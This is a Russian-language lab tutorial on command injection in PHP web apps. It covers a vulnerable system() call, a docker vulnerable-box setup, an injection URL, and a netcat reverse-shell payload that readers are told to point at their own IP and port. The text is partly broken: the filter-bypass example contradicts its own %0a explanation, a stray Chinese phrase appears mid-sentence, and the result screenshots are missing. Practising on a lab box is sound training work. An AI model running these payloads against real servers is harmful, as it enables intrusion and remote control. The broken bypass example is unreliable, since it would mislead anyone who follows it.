Введение
В этом лабораторном занятии (lab) вы узнаете о уязвимостях, связанных с инъекцией команд (command injection), которые являются одной из наиболее распространенных уязвимостей в веб-приложениях. Лабораторное занятие предоставляет практический опыт для понимания принципов уязвимостей инъекции команд и методов их эксплойта. С помощью двух практических упражнений вы научитесь определять и эксплуатировать уязвимости инъекции команд, понять использование подстановочных знаков для закрытия команд и изучить методы обхода фильтров и повышения привилегий.
Понимание уязвимостей командной инъекции
На этом этапе мы рассмотрим основы уязвимостей инъекции команд (command injection) и узнаем, как их можно эксплуатировать, причем все это будет изложено простым и доступным для начинающих образом.
Итак, что такое уязвимости инъекции команд? Они возникают, когда веб-приложение неправильно обрабатывает пользовательский ввод, и этот ввод в конечном итоге используется в системных командах. Это потенциально может позволить злоумышленнику выполнить любую команду на сервере с теми же правами, что и у веб-приложения.
Рассмотрим фрагмент кода на PHP, который имеет такую уязвимость:
<?php
$action = $_GET['cmd'];
echo "<pre>";
system($action);
echo "<pre/>";
?>
В этом коде функция system() используется для выполнения команды, которая поступает из параметра cmd в URL. Злоумышленник может воспользоваться этим, добавив вредоносные команды в параметр cmd.
Для успешного эксплойта этой уязвимости вам нужно знать, как отменить исходную команду и добавить дополнительные команды. Это делается с помощью разделителей команд, таких как ; (точка с запятой), && (логическое И), | (конвейер) или || (логическое ИЛИ).
Эксплуатация уязвимостей командной инъекции
Добро пожаловать на следующую стадию нашего пути! Теперь мы применим наши знания на практике и эксплуатируем уязвимость инъекции команд (command injection) в веб-приложении.
Для начала настроим нашу лабораторную среду. Используйте следующую команду:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log'
Рассмотрим следующий код на PHP, который имеет такую уязвимость:
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
В этом коде пользовательский ввод ($_GET['ip']) проверяется с помощью регулярного выражения, чтобы убедиться, что он имеет формат IP-адреса. Если ввод корректен, функция system() запускает команду ping, используя пользовательский ввод в качестве аргумента.
Но что, если мы хотим обойти этот фильтр и внедрить свои собственные команды? Здесь на помощь приходит символ новой строки %0a, который используется в URL-кодированном формате.
Например, если вы хотите запустить команду uname -a, вы можете использовать следующий URL:
http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;uname -a
Результат будет выглядеть следующим образом:

Этот хитрый трюк позволяет обойти фильтр IP-адресов и выполнить команду uname -a сразу после команды ping. Это практический пример того, как знания можно использовать для выявления и эксплуатации уязвимостей. Продолжим наше обучение!
Повышение привилегий и дальнейшая эксплуатация
Отличная работа, что вы дошли до этого момента! После успешной эксплуатации уязвимости инъекции команд (command injection) вы можете поднять свой уровень. Возможно, вы захотите попробовать повысить привилегии или провести более детальное разведывание целевой системы.
Популярной техникой является создание обратного шелла (reverse shell). Это дает вам интерактивный шелл на целевой системе, и вы можете сделать это с помощью таких инструментов, как netcat (nc) или bash.
Вот пример того, как можно установить обратный шелл с использованием netcat (должен быть установлен на целевой машине):
http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%20127.0.0.1%205555%20%3E/tmp/f
Результат выполнения команды обратного шелла должен выглядеть следующим образом:

Просто замените второй 127.0.0.1 и 5555 на IP-адрес и номер порта, которые вы хотите использовать. Это как заполнение пропусков!
В качестве альтернативы вы также можете попробовать найти конфиденциальные файлы на целевой системе. Это может дать вам ценную информацию для дальнейших эксплойтов или повышения привилегий. Это有点像 быть детективом, но в цифровом мире!
Помните, практика делает мастером. Продолжайте исследовать и учиться, и вы скоро станете профессионалом в этом деле!
Резюме
В этом лабораторном занятии вы узнали о уязвимостях инъекции команд (command injection), которые возникают, когда пользовательский ввод неправильно обрабатывается и передается в системные команды веб-приложения. Вы изучили, как эксплуатировать эти уязвимости, внедряя вредоносные команды и закрывая исходную команду с использованием разделителей, таких как ;, &&, | и ||. Кроме того, вы практиковали обход фильтров с помощью таких методов, как кодирование символов новой строки. Наконец, вы поняли, какие действия можно предпринять после успешной эксплуатации уязвимости инъекции команд, например, установить обратный шелл (reverse shell) или перечислить конфиденциальные файлы для дальнейшей эксплуатации или повышения привилегий.



